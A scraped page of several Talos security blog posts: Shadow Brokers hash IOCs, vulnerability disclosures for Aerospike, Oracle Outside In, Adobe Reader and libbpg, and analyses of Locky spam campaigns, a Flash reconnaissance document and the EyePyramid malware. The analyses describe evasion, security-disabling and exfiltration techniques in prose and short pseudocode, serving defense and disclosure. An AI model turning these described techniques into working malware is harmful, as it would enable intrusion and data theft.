Quantcast
Channel: Talos Blog
Viewing all 353 articles
Browse latest View live

Shadow Brokers Malware Coverage

$
0
0
The Shadow Brokers released what appears to be a series of windows rootkit components in a farewell message. The malware released included many Windows malware files that supposedly all trigger as either “equationdrug.generic” or “equationdrug.k”  by the Kaspersky security product.


The files are signed with the same key used previously for Equation Group malware which indicates that these files came from the same threat actor. Talos has convicted these files and will continue to monitor the situation for additional action.


IOCs

fcfb56fa79d2383d34c471ef439314edc2239d632a880aa2de3cea430f6b5665
515374423b8b132258bd91acf6f29168dcc267a3f45ecb9d1fe18ee3a253195b
94c4733eebf19013df3b42d76c11ed5d153a56bdab57e1c748e07cc7da38f3ba
694be2698bcc5c7a1cce11f8ef65c1c96a883d14b98148c36b32888fb58b6a7e
0bb750195fbd93d174c2a8e20bcbcae4efefc881f7961fdca8fa6ebd68ac1edf
73d1d55493886639c619e9f5e312daab93e4feeb74f24dbe51593842baac8d15
c8b354793ad5a16744cf1d4efdc5fe48d5a0cf0657974eb7145e0088fcf609ff
e1c9c9f031d902e69e42f684ae5b35a2513f7d5f8bca83dfbab10e8de6254c78
5f06ec411f127f23add9f897dc165eaa68cbe8bb99da8f00a4a360f108bb8741
c7bf4c012293e7de56d86f4f5b4eeb6c1c5263568cc4d9863a286a86b5daf194
d382e598544a739dd17b407466a536070203cbe375c56c54792b6d0eded678cd
dfb38ed2ca3870faf351df1bd447a3dc4470ed568553bf83df07bf07967bf520
104c466732154ec25eb8b81efa88c74cec0a5baeaba76f6fd6eaa30c285c212b
d92928a867a685274b0a74ec55c0b83690fca989699310179e184e2787d47f48
0cbc5cc2e24f25cb645fb57d6088bcfb893f9eb9f27f8851503a1b33378ff22d
e44fe9432c5e11b51660efc37bf9b553260ad4130651a604ad11ca784d7f9238
339855618fb3ef53987b8c14a61bd4519b2616e766149e0c21cbd7cbe7a632c9
412efa09d71223208f3d24a661b8539d98aad6b61157707e865e288a96cda806
7352bece317e6e6896d7667faa2b38bb4f1a38112821567136d60369a91bcbef
4ebfc1f6ec6a0e68e47e5b231331470a4483184cf715a578191b91ba7c32094d
fb693eb9612d5e039a7a0fc5a183d0407cc2bce5617e7e22d2bd56caa5191e5f
27972d636b05a794d17cb3203d537bcf7c379fafd1802792e7fb8e72f130a0c4
4e0209b4f5990148f5d6dee47dbc7021bf78a782b85cef4d6c8be22d698b884f
227faeb770ba538fb85692b3dfcd00f76a0a5205d1594bd0969a1e535ee90ee1
25a2549031cb97b8a3b569b1263c903c6c0247f7fff866e7ec63f0add1b4921c
33ba9f103186b6e52d8d69499512e7fbac9096e7c5278838127488acc3b669a9
0df9d223d6bf3e1c4ba8fec7522dceb63902d1f9ddd7c26da1560da54dce2f3b
7a6488dd13936e505ec738dcc84b9fec57a5e46aab8aff59b8cfad8f599ea86a
c68f420b5a5e085a508a2529ac001284a255090920a0236df1b5656d010966e8
fe42139748c8e9ba27a812466d9395b3a0818b0cd7b41d6769cb7239e57219fb
964762416840738b1235ed4ae479a4b117b8cdcc762a6737e83bc2062c0cf236
2b27f2faae9de6330f17f60a1d19f9831336f57fdfef06c3b8876498882624a6
28a9a86f0f0a3cc4383c9f6632ee0129309afe4102d0cee1a110702a95dc0022
cdee0daa816f179e74c90c850abd427fbfe0888dcfbc38bf21173f543cdcdc66
03f22bf2f33d1032959ca68aad78ccecc201a4e5f07f446f9d1284a60fbe3361
31d86f77137f0b3697af03dd28d6552258314cecd3c1d9dc18fcf609eb24229a
7d51e97251917d5def89d77aa318f82603548afc8bde906efc1b445a47585c7b
1097e1d562341858e241f1f67788534c0e340a2dc2e75237d57e3f473e024464
c3d8ffbb4ecdf6486da175e5381e855d8224acd339199c1057846bd5b74badac
53ecd7b9879f12d17c88089fcf796c85ca29ea4639e34b8ca96819517c2a059a
b7902809a15c4c3864a14f009768693c66f9e9234204b873d29a87f4c3009a50
2a1f2034e80421359e3bf65cbd12a55a95bd00f2eb86cf2c2d287711ee1d56ad
e1dff24af5bfc991dca21b4e3a19ffbc069176d674179eef691afc6b1ac6f805
8f5b97124de9fce16e2cfecb7dd2e171824c9e07546db7b3bee7c5f2c92ceda9
25eec68fc9f0d8d1b5d72c9eae7bee29035918e9dcbeab13e276dec4b2ad2a56
9191e9bc8b64af9545b0e6e2ac022ad20b7905a6b327f768d822ff62233f3726
7b4986aee8f5c4dca255431902907b36408f528f6c0f7d7fa21f079fa0a42e09
ef906b8a8ad9dca7407e0a467b32d7f7cf32814210964be2bfb5b0e6d2ca1998
69dcc150468f7707cc8ef618a4cea4643a817171babfba9290395ada9611c63c
9022a6ece80e75a58a7e41b44aa27497ea3f8e4713c0af5e0887d60cde1fe3ba
26215bc56dc31d2466d72f1f4e1b6388e62606e9949bc41c28968fcb9a9d60a6
b2daf9058fdc5e2affd5a409aebb90343ddde4239331d3de8edabeafdb3a48fa
137749c0fbb8c12d1a650f0bfc73be2739ff084165d02e4cb68c6496d828bf1d
45e5e1ea3456d7852f5c610c7f4447776b9f15b56df7e3a53d57996123e0cebf
4254ee5e688fc09bdc72bcc9c51b1524a2bb25a9fb841feaf03bc7ec1a9975bf
f7a886ee10ee6f9c6be48c20f370514be62a3fd2da828b0dff44ff3d485ff5c5
aadfa0b1aec4456b10e4fb82f5cfa918dbf4e87d19a02bcc576ac499dda0fb68
00f782e2d4b901f0d860c3da00e154d5f0ccaf2fe758c61a27b1c0a85a927a34
dfd5768a4825d1c7329c2e262fde27e2b3d9c810653585b058fcf9efa9815964
fda57a2ba99bc610d3ff71b2d0ea2829915eabca168df99709a8fdd24288c5e5
12c082f74c0916a0e926488642236de3a12072a18d29c97bead15bb301f4b3f8

Vulnerability Spotlight: Exploiting the Aerospike Database Server

$
0
0
Vulnerabilities discovered by Talos

Talos is disclosing multiple vulnerabilities discovered in the Aerospike Database Server. These vulnerabilities range from memory disclosure to potential remote code execution. This software is used by various companies that require a high performance NoSQL database. Aerospike fixed these issues in  version 3.11.

The Aerospike Database Server is both a distributed and scalable NoSQL database that is used as a back-end for scalable web applications that need a key-value store. With a focus on performance, it is multi-threaded and retains its indexes entirely in ram with the ability to persist data to a solid-state drive or traditional rotational media. 

TALOS-2016-0264 (CVE-2016-9050) - Aerospike Database Server Client Message Memory Disclosure Vulnerability
TALOS-2016-0266 (CVE-2016-9052) - Aerospike Database Server Index Name Code Execution Vulnerability
TALOS-2016-0268 (CVE-2016-9054) - Aerospike Database Server Set Name Code Execution Vulnerability


Details

Memory Disclosure Vulnerability


TALOS-2016-0264 involves an exploitable out-of-bounds read vulnerability that exists in the client message-parsing functionality of the Aerospike Database Server. Using a specially crafted packet, an attacker can cause an out-of-bounds read resulting in disclosure of memory within the process by sending this packet to the listening port. This same vulnerability can also be used to trigger a denial-of-service. 

Code Execution Vulnerabilities


TALOS-2016-0266 is an exploitable stack-based buffer overflow vulnerability in the querying functionality of the Aerospike Database server. Using a specially crafted packet, an attacker can cause a stack-based buffer overflow in the ‘as_sindex__simatch_by_iname’ function, resulting in remote code execution. Simply connecting to the listening port, the attacker can trigger this vulnerability.

TALOS-2016-0268 impacts the querying functionality of the Aerospike Database Server. Using a specially crafted packet, an attacker can take advantage of an exploitable stack-based buffer overflow in the 'as_sindex__simatch_list_set_binid’ function to gain remote code execution. The attacker only needs to connect to the listening port to trigger this vulnerability.

Tested Version


Aerospike Database Server 3.10.0.3

Coverage


Aerospike version 3.11 addresses these issues. The following Snort Rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org.


Snort Rules: 41206, 41212, 41216

Vulnerability Spotlight: Multiple Code Execution Vulnerabilities in Oracle Outside In Technology

$
0
0
These vulnerabilities were discovered by Aleksandar Nikolic of Cisco Talos.

Summary


Oracle's Outside In Technology (OIT) is a set of SDKs that software developers can use to perform various actions against a large number of different file formats. According to the OIT website: "Outside In Technology is a suite of software development kits (SDKs) that provides developers with a comprehensive solution to extract, normalize, scrub, convert and view the contents of 600 unstructured file formats." Talos recently discovered vulnerabilities in the RTF and PDF parsers used by OIT that can be used to achieve arbitrary code execution on affected systems. Specially crafted files that leverage these parsers can be used to create conditions that could be leveraged by an attacker to obtain the ability to execute arbitrary code on affected systems.

TALOS-2016-0198: Oracle Outside In Technology PDF Parser Confusion Code Execution Vulnerability (CVE-2016-3271)


In applications that are using the OIT SDK for parsing PDF files the presence of a malformed /Index entry can lead to the misinterpretation of a string pointer as an integer value leading to an out of bounds memory access condition. By carefully manipulating the memory and PDF layout, an attacker could leverage this condition to achieve code execution on affected systems. In PDF files, the /Index entry generally contains an array of numbers. The existence of a string in the /Index entry can trigger this condition.

Below is an example PDF that triggers this condition.
Figure A: Example PDF Test Case

The existence of the exclamation point within the /Index entry causes the third element in the /Index array to be interpreted as a string, leading to the placement of a pointer to the string where an integer is expected. This pointer is then used in subsequent offset calculations by the application. By manipulating the /Size parameter in the PDF, the integer overflow can be controlled and an arbitrary pointer can be obtained. By controlling the value of the pointer, an attacker could further manipulate memory and ultimately achieve code execution.

TALOS-2016-0215: Oracle Outside In Technology RTF Code Execution Vulnerability (CVE-2016-3293)


While parsing a specially crafted RTF file, Oracle Outside In Technology can be manipulated to cause the reuse of a reference to a previously freed memory location. This condition can be further leveraged to allow for remote code execution on affected systems. Below is an example RTF file that illustrates the issue.
Figure B: Example RTF Test Case

When the \par parameter included in the above example is processed by the RTF parser used by OIT, it results in the allocation of memory for an object that is later freed. Later, when the final \footer parameter is processed by the RTF parser, the same memory region that was previously freed is reused without proper reallocation. By manipulating the contents of this memory region, an attacker could successfully execute arbitrary code on affected systems.

Conclusion


Talos has worked to disclose these vulnerabilities to Oracle. Oracle has released a security update which addresses both of these vulnerabilities. As these vulnerabilities can be leveraged by an attacker to obtain arbitrary code execution on affected systems, it is recommended that the security update be applied as quickly as possible. Ensuring that systems remained patched against the latest software vulnerabilities is essential to ensuring that environments remain protected.

For full details regarding these vulnerabilities, please see the advisories here and here.

Research efforts to identify zero-day vulnerabilities in software will remain an ongoing effort by Talos. Our work in developing programmatic methods to identify zero-day vulnerabilities and making sure they are addressed in a responsible manner is critical to improving the overall security of the internet.

Our vulnerability reporting and disclosure policy can be found here.

Coverage


The following Snort IDs have been released to detect this vulnerability: 40773-40774, 41108-41109.

Please note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org.

For further zero day or vulnerability reports and information visit:

http://talosintelligence.com/vulnerability-reports/

Without Necurs, Locky Struggles

$
0
0
This post authored by Nick Biasini with contributions from Jaeson Schultz

Locky has been a devastating force for the last year in the spam and ransomware landscape. The Locky variant of ransomware has been responsible for huge amounts of spam messages being sent on a daily basis. The main driver behind this traffic is the Necurs botnet. This botnet is responsible for the majority of Locky and Dridex activity. Periodically Necurs goes offline and during these periods we typically see Locky activity decrease drastically. One of these periods is currently ongoing.

The number of active IP addresses on the SpamCop BL illustrates the current lack of Necurs activity

Since late December we haven't seen the typical volume of Locky. However, a couple of days ago we finally started seeing some spam campaigns start delivering Locky again. The key difference here is around volume. We typically would see hundreds of thousands of Locky spam, we are currently seeing campaigns with less than a thousand messages. Talos found a couple of low volume campaigns that are delivering Locky via the typical means of scripting files with a couple of new twists.

Campaign 1 - Double Zipped Locky

Sample Email from Locky Campaign
This was the first campaign we observed several days ago. As you can see there isn't much to the email messages, no subject or body, just a blank email with an attachment. When the attachment is extracted there is a second zip file inside, 71344395.doc.zip, and this zip file uses double extensions in hopes that a user would think it is a doc file. Inside of this zip file is another double extension file 71344395.doc.jse. This is the malicious javascript which pulls the payload leading to Locky. In this particular campaign there are multiple payloads.
Contents of JSE File
This is the JSE file that executes on the end system. It isn't too heavily obfuscated with several easily identifiable URLs. The top one highlighted is the actual request that was seen in the network traffic. That GET request was followed by two GET requests for payloads that look almost identical.
GET Requests for Malicious Files
The GET requests are identical except for the highlighted portion in the images above. This resulted in two payloads being delivered to the system, Kovter Trojan and Locky ransomware. Kovter is primarily used in click-fraud campaigns and would continue to operate on the system after the user pays to have their files decrypted.

This is another good reason that paying the ransom isn't a good idea. In this particular case if the user chose to pay the ransom and get their files back there is a second malware installation left running on the system.

Campaign 2 - Rar based Locky

Sample Email from Locky Campaign
This is the second campaign Talos started seeing the following day. This campaign has a little more content with a subject line and body. It poses as a failed transaction, which is common in spam campaigns. This particular campaign made use of rar files instead of the more common zip archives. If the user extracts the archive they find a js file, doc_details.js.
Malicious Javascript File
This looks more like the obfuscated javascript we are used to seeing with Locky infections. There are a couple of other interesting details associated with this campaign.
Dridex Look-alike GET Request
First is the actual GET request for the Locky instance. As you can see above this URL structure is not typically what you would see with the retrieval of a Locky payload, but instead looks very similar to a request for a Dridex sample. The second unique aspect is associated with the User Agent (UA) being used. Below is a capture from the network communication showing python UA being used instead of a more traditional UA.
Example of new User Agent
With both of these campaigns being relatively low volume these could be one offs or indicators of changes to come to the campaigns in the future.

Regardless of the campaign the results are the same, with the OSIRIS variant of Locky being delivered on to end systems. These are some of the first spam campaigns we have seen delivering Locky since before the Christmas break and could be indicators of things to come. Locky appears to still be distributed through other means, such as exploit kits, but the spam volume is drastically lower than it was a few short weeks ago.

IOCs

Campaign 1

Subject: <None>
Body: <None>

Hashes:
20667ee47576765550f9961b87728128c8d9cf88861096c9715c6fce994e347e (JSE File)
3c476dfbe53259830c458cf8b323cc9aeeb3d63d5f88cc2976716beaf24bd07c (Zip File)
2d51e764bf37e2e8c845d980a4d324e8a1406d04a791a57e6082682ce04517db (Zip File)
79ffaa5453500f75abe4ad196100a53dfb5ec5297fc714dd10feb26c4fb086db (Locky)

Domains:
bolayde[.]com
tangopostale[.]com

Campaign 2

Subject: Blocked Transaction. Case No <Random Number>

Hashes:
0822a63725345e6b8921877367e43ee23696d75f712a9c54d5442dbc0d5f2056 (JS File)
55d092af73e5631982da6c165dfa704854b92f74eef0846e4b1aad57d0215251 (Rar File)
ec9c06a7cf810b07c342033588d2e7f5741e7acbea5f0c8e7009f6cc7087e1f7 (Locky)

Domains:
unwelcomeaz[.]top

Conclusion

In 2016 the spam landscape was dominated by Locky campaigns sending millions of malicious emails. There were periods where Necurs went offline and the volume went down. We are currently in one of the extended breaks, approaching a month with lower spam volume. Despite that, Locky is still being distributed on a much smaller scale.

The question is when will Necurs return to full strength, bringing back the staggering amount of spam delivering not only Locky but also Dridex and other types of messages. As an example, when Necurs is active we typically see approximately 350-400K IPs in our blacklists related to spamming. Those numbers have been closer to 50K as is shown in the image at the top of the post. Necurs is responsible for a lot of spam and if it doesn't return, something else will need to fill that void. Much the same way we have seen major exploit kits leave the landscape in 2016, it's possible we may see the same from spam.

Crimeware is a lucrative endeavor with revenue rapidly approaching a billion dollars annually. This doesn't come without significant risk and we may be entering a period where adversaries are increasingly cashing out from this activity early, to avoid the severe penalties associated with this illegal activity.

Coverage

Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella prevents DNS resolution of the domains associated with malicious activity.

Vulnerability Spotlight: Adobe Acrobat Reader DC jpeg Decoder Vulnerability

$
0
0
Discovered by Aleksandar Nikolic of Cisco Talos

Overview

Talos is disclosing TALOS-2016-0259 / CVE-2017-2971 an uninitialized memory vulnerability in Adobe Acrobat Reader DC. Adobe Acrobat Reader is one of the largest and well known PDF readers available today. 

This particular vulnerability is associated with the JPEG Decoder functionality embedded in the application. A specially crafted PDF document containing a JPEG can be used to trigger this vulnerability which results in a heap-based buffer overflow which can be leveraged to achieve remote code execution. This issue has been resolved in the most recent patch provided by Adobe. The full details surrounding the vulnerability are available here.

Coverage

The following Snort Rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org.

Snort Rule: 41298 - 41305

Vulnerability Spotlight - LibBPG Image Decoding Code Execution

$
0
0
Discovered by Cisco Talos

Overview

Talos is disclosing TALOS-2016-0223 / CVE-2016-8710. An exploitable heap write out of bounds vulnerability exists in the decoding of BPG images in libbpg library. A crafted BPG image decoded by libbpg can cause an integer underflow vulnerability causing an out of bounds heap write leading to remote code execution. This vulnerability can be triggered via attempting to decode a crafted BPG image using libbpg.

Details

BPG (Better Portable Graphics) is an image format created in 2014 based on the HECV video compression standard. BPG has been praised for its ability to produce the same quality image as the well known JPEG format, but in a much smaller file size. Talos is disclosing the presence of a remote code execution vulnerability in the libbpg library which is widely used to support the file format. During the decoding of a BPG, in the `restore_tqb_pixels` function, an attacker controlled integer underflow can occur during the calculation of offsets for the `src` and `dst` operands of a `mempcy`. Because of the underflows, the resulting addresses passed to the `memcpy` are outside the bounds of the original heap structures, resulting in an out of bounds write condition. This vulnerability can be used to create a specially crafted BPG image file which results in remote code execution when opened with any application using a vulnerable version of the libbpg library. The full details surrounding the vulnerability are available here.

Known vulnerable versions 

Libbpg - 0.9.4 and 0.9.7

Conclusion

The ubiquity of image files on web sites and embedded within emails means that they are an excellent vector for attack since the presence of an image is unlikely to raise users’ suspicions. Vulnerabilities in widely supported image formats are a bonus for attackers, in that a single exploit can be used to attack many systems. Organizations need to be aware that such vulnerabilities do exist and are occasionally discovered. Talos is committed to discovering such vulnerabilities before the bad guys. This enables us to release detection that protects our customers from the malicious exploit of the vulnerability. If you are using vulnerable versions of the software you are ugred to apply the patch in the advisory. 

Coverage

The following Snort Rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org.

Snort Rule: 41310 - 41311

Matryoshka Doll Reconnaissance Framework

$
0
0
This post authored by David Maynor& Paul Rascagneres with the contribution of Alex McDonnell and Matthew Molyett


Overview

Talos has identified a malicious Microsoft Word document with several unusual features and an advanced workflow, performing reconnaissance on the targeted system to avoid sandbox detection and virtual analysis, as well as exploitation from a non-embedded Flash payload. This document targeted NATO members in a campaign during the Christmas and New Year holiday. Due to the file name, Talos researchers assume that the document targeted NATO members governments. This attack is also notable because the payload was swapped out with a large amount of junk data which was designed to create resource issues for some simplistic security devices.


The Nested Document

The analysed document is a RTF document with a succession of embedded objects.The first embedded object is an OLE object:

OLE object contained in the Office document

This OLE object contains an Adobe Flash object. The purpose of the Adobe Flash is to extract a binary blob embedded in itself via ActionScript execution. This blob is a second encoded and compressed Adobe Flash object. The encoded algorithm is based on XOR and zlib compression. This is the second Adobe Flash in the final payload located within the document.


Analysis of the payload

The relevant part of the payload is located in the ActionScript. First, a global constant is set which contains the URL of the Command & Control:
C&C configuration


First Step:

The first action of the ActionScript is to perform a HTTP request to the C&C:
HTTP request to the C&C
The URI is /nato and perfectly matches the filename pattern.

The Cisco Umbrella cloud security solution helps users to identify the DNS traffic associated with this specific C&C. The screenshot below illustrates the targeted nature of the campaign from the 29th of December 2016 through the 12th of January 2017. The huge quantity of requests starting the 16th of January were performed by the security research community:
The DNS requests on the CC view on Cisco Umbrella
The request contains the information about the target by using the flash.system.Capabilities.serverString API. Based on the Adobe documentation, The API allows the developer to obtain the capabilities of the installed Adobe Flash version. Here is an example from the documentation:

A=t&SA=t&SV=t&EV=t&MP3=t&AE=t&VE=t&ACC=f&PR=t&SP=t&SB=f&DEB=t&V=WIN%209%2C0%2C0%2C0&M=Adobe%20Windows&R=1600x1200&DP=72&COL=color&AR=1.0&OS=Windows%20XP&L=en&PT=ActiveX&AVD=f&LFD=f&WD=f&IME=t&DD=f&DDP=f&DTS=f&DTE=f&DTH=f&DTM=f

This query allows the attacker to gain information on the victim machine, including the version of the operating system or the Adobe Flash version. This information can be used by the attacker as a decision point regarding the interest in the victim. If the infected system looks like a sandbox or a virtual machine, the operator could ignore the request and the ActionScript is finished.

Second step:

The ActionScript stores the response of the first query in a variable called vars. Then, it performs a second HTTP request on a second URI:
Second HTTP request
The URI contains the value of “k1” obtained with the first request. If this initial request succeeds, the function expLoaded() (for Exploit Loaded) is executed.

Third step:

The result of the previous request is stored in the swf variable.  The data stored in this variable is an encrypted Adobe Flash object (swf). The ActionScript uses the unpack() function with a key (“k3”) obtained during the first request:
decryption of the download SWF file
On this step, the ActionScript performs a third HTTP query:
third HTTP request
If the request succeeds, the function payLoaded (for Payload Load) is called.

Fourth step:

The result of the previous request contains an encoded payload. The ActionScript uses the same unpack() with a different key (“k4”) that was obtained with the initial request.
Finally, the downloaded malicious Adobe Flash file is executed via the flash.display.Loader() API with the payload in the argument. The argument variable is called “sh” for shellcode:
execution of the SWF exploit with the payload in argument

A Trap!

The malicious payload has recently been replaced to return a substantial amount of junk data to inhibit investigation. This is designed to create resource utilization issues for devices like simplistic sandbox based security systems. As indicated in the Investigate data above it appears that many members of the security community are looking into these domains. This is very likely a direct response to hinder investigations.


Conclusion

The analysis of the Microsoft Office document shows an advanced workflow of infection. The purpose of the document is first to perform a reconnaissance of the victims in order to avoid communicating with sandbox systems or analyst virtual machines. Second, the Adobe Flash requests a payload and an Adobe Flash exploit which is loaded and executed on the fly. This approach is extremely clever, from the attacker point of view, the exploit is not embedded in the document making it more difficult to detect for some security devices than the standard word trojan. It’s important to note that the actor realized security researchers were poking around their infrastructure and then rigged the infrastructure to create resource issues for some security devices. These are the characteristics of reasonably advanced attackers who have designed an efficient minimalist framework that was able to adapt purposes on the fly.

Hash:
ffd5bd7548ab35c97841c31cf83ad2ea5ec02c741560317fc9602a49ce36a763
7c25a5cd3684c470066291e4dec7d706270a5392bc4f907d50b6a34ecb793f5b

Coverage

Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella prevents DNS resolution of the domains associated with malicious activity.

EyePyramid: An Archaeological Journey

$
0
0
This post authored by Mariano Graziano and Paul Rascagneres

Summary:

The last few days a malware sample named EyePyramid has received considerable attention, especially in Italy. The Italian police have arrested two suspects and also published a preliminary report of the investigation. This malware is notable due to the targeting of Italian celebrities and politicians.

We conducted our analysis on one of the first public samples attributed to EyePyramid. Sources in the security community have described this malware campaign as unsophisticated, and the malware samples involved as uninteresting. However Talos was intrigued to determine just how EyePyramid managed to stay hidden under-the-radar for years.



Preliminary analysis:


The sample is written in .Net and it is heavily obfuscated. Although at first sight we can also extract some interesting strings which are useful for possible ClamAV or Yara signatures. The author paid attention to hide the core functionalities by using either known .Net obfuscators or cryptography to hide crucial information such as URLs, email addresses and credentials.

Generally speaking, reversing .Net applications is not a difficult task because it is possible to decompile the binary. There are many tools do it such as ILSpy, dotPeek, etc. We first tried decompiling the sample with ILSpy but the obfuscation was heavy and all over the place. As a result the ILSpy output was not very useful and we had problems identifying the entry point of the application. The sample cannot be debugged, and it does not run inside virtual machines due to several and sometimes trivial (but effective) anti-debugging and anti-vm checks.

Dissection:


To effectively analyze EyePyramid we needed to defeat the obfuscation. We first tried to use de4dot for the deobfuscation and it detected two different known obfuscators namely 'Dotfuscator' and and 'Skater .NET'. From this point on, we refer to a 'cleaner' version of the sample. Keep in mind, however, that the malware is still obfuscated and the decompiler still fails for some routines.

The sample starts with some initialization code for the license keys and the certificates. Then, there is some code to achieve persistence using the CurrentVersion\Run and CurrentVersion\RunOnce registry keys. Moreover, there are checks to ensure the malware has Administrator privileges, and for the system uptime via a Windows Management Instrumentation (WMI) query to LastBootUpTime.


Regarding the persistence, we can observe the operation in which the registry key is set below:


The next step is to check and 'fix' the security descriptors of many folders via 'cacls.exe'. Specifically, this code is interested in the Windows Firewall and a long list of possible antivirus software (among them also 'ClamAV for Windows'). To find these programs the malware looks in typical locations such as ProgramFiles, ProgramFiles (x86), etc. You can see from the picture below 'cacls.exe' and part of the security products list:


In the next picture we can see how the malware creates an exception rule for itself, adding several new entries to the firewall policy ruleset:


The program also spawns threads and executes commands and executables (e.g., via ProcessStart or InteractionShell functions). For instance, it creates a registry key named 'default.reg' and it is added to the registry by directly invoking the regedit command. Regarding executables, we have instead 'ghk.exe' and 'stkr.exe' that are executed and other resources downloaded from the web.

Another interesting spawned thread is the one for checking the User Account Control (UAC) via the registry key 'EnableLUA' and disabling it through the control panel. UAC is an additional layer of security introduced by Microsoft from Windows Vista to notify the users about changes in the computer. In case of this and other changes, the system needs a reboot so all the modifications are effective and this is the goal of the function containing the 'shutdown' command. See below:



It is worth also a mention the programs added to 'DisallowRun', and here we noticed a particular interest for Avast antivirus. This key contains a list of applications that cannot run on the system.

When programs are executed by the agent, often they are launched with a command line parameter ('-w'). Generally speaking, this sample really pays attention to disable all possible security software and security checks. Additionally, it creates rules to make its execution smoother whenever it is possible.

Encryption:


As we already said the sample is still obfuscated and it massively adopts cryptography. As reported by other sources, the strings are encrypted with 3DES. Here we report how the key is generated and the overall structure for the encryption phase. The key is an array of 16 booleans at the beginning all set to false. The key is initialized in the the steps listed in the table below. The result of every step is a boolean value (true/false).

(*) These checks are more complex. Please refer to the decompiled 

version of the binary for a more exhaustive description.        

As a consequence, the key is dependent on the environment in which the sample is run. This sample was configured to run in three different environments. In order to allow this, the decryption function is called with three string arguments, which correspond to the same string encrypted with three different keys (one for each possible environment). The function will first try to decrypt the first string with the 16-bit based environment key, with the 14th and 15th bytes set to false. If this decryption process does not return a valid string, it will try to decrypt the second string with the same key, and finally, if this does not work either, it will try to decrypt the last string with the whole 16 bit key, including the last two checks.


The encryption is performed according to the pseudocode below:

array = init_key()
sarray = serializekey(array)
key = md5(sarray)
iv = sha256(sarray)
3des(data, key, iv)

where init_key() are the the checks from 0 to 13 or from 0 to 15. Given the low entropy of the possible keys, we could bruteforce the encryption keys for the three different running environments. In all the cases the decryption produced the same exact set of strings:


Throughout the code, the checks are also used as anti-vm in combination with others.

Among the others, it is worth mentioning a check for the 'Totalsize' of the drive. If this is less than 46.5 GB and the operating system is Windows XP, this is not a valid environment. This is a clever way to detect sandbox environments because generally they use a small hard drive and an old version of the Windows operating system.


Network behavior:


By running the sample on a VM and sniffing the network traffic we noticed some requests to known websites. At a first sight, this looks like a method to check if the connection is available but in this case the goal is different as you can see below:


The code randomly picks one domain and contacts it. Then it checks the header for the field 'Date'. This field is used to compute the difference the with current date and see if the delta is less than 60 min.

Another interesting point is related to the way in which the domains are rotated. This is not a real a domain generation algorithm (DGA), because the domains are not generated on the fly. This is simply how the agent gets the required information. This works in the following way:

switch((DateAndTime.Now.Month - 1) % 3):
0: geturl[0]
1: geturl[1]
2: geturl[2]

where geturl looks like:

geturl:
return new string{
way_0(),
way_1(),
way_2()}



In this image you can observe the behavior described above. Interestingly, the same approach is used for URLs and other critical information such as email addresses, passwords etc. Throughout the code there are three different implementations to get a different kind of information. We stress the point that the domains are not generated on the fly but are chosen among a list of candidates.

Exfiltration:

The exfiltration is done mainly via email and partially via WebDAV and HTTP. Regarding emails, they are sent via SMTP protocol and the data is exfiltrated as attachment. The message is then uploaded to the IMAP server in a specific folder ("inbox" on the third picture).The protocol choice depends on a flag passed as a parameter to the function dealing with the email messages. These attachments can be either encrypted or in clear. The encryption is once again based on 3DES. For instance, this is part of the code related to the SMTP protocol, the second image contains IMAP servers while the third picture contains IMAP code:



WebDAV support is present in the code and it is used for uploading data and to fetch files. We also decrypted WebDAV credentials used during this operation. The code invokes different WebDav methods. In the picture below we can observe the code for 'SEARCH':


The sample interacts with Command and Control servers and can download additional files. This C&C communication is authenticated with a username and password. After authentication, the agent downloads the resource and writes it to the disk in encrypted form. Next, the file is read and decrypted, with the decryption key being used as the temporary filename. Finally, the file is deleted.

It is also interesting how the sample retrieves the IP address of 'libero.it', a well-known italian webportal:


As you can see from the snippets of code above, the IP address is extracted directly from the cookie. This IP is added to a list of possible IP addresses to use and it is also used to generated an index later to pick a value from an array.The purpose of obtaining this IP is not completely clear from analyzing the code. Unfortunately some of the functions involved do not have any reference, so it appears as if they are never invoked.

Other supports:

Additionally in the code there is also support for Active Directory and LDAP. The code concerning Active Directory lists the administrative members of the domains and it checks if the current user is in this list. Another method adds the current user to the domain administrators. Regarding LDAP, the code is not referenced by any function, and it is probably used in more recent versions of this agent, however, logically it is similar to the Active Directory one.

Related samples:

There are other executables that appear to be executed, such as 'stkr.exe', but the analysis of that malware in beyond the scope of this post. For the reader interested in a further analysis, the sha256 for 'stkr.exe' is: 0af665d7d81871474039f08d96ba067d5a0bd5a95088009ea7344d23a27ca824.

During our analysis we have isolated another sample which was not publically related to this campaign. This sample and possibly one other are on 'malwr.com'. Unfortunately, at the time of publication malwr.com is down for maintenance and google did not cache either of the two analyses. See:https://www.google.com/search?q=%22uaccheckbox%22

Conclusion:

Although it is true the authors made some trivial mistakes, throughout this post we have observed efforts to cover the vital information of this operation and an agent able to subvert the entire operating system security. Additionally, this sample is not stealthy for all the operations it performs but it has been undetected for years and is reported to have exfiltrated vast amounts of data. In this post, Talos dissected some interesting parts of this agent and provided detailed information on how it bypasses dynamic analysis environments and disarms the operating system security.

The authors would like to thank the research community for sharing the hashes and 'hackbunny' for the support and information sharing.

Coverage:

Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS orWSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

The Network Security protection ofIPS andNGFW have up-to-date signatures to detect malicious network activity by threat actors.

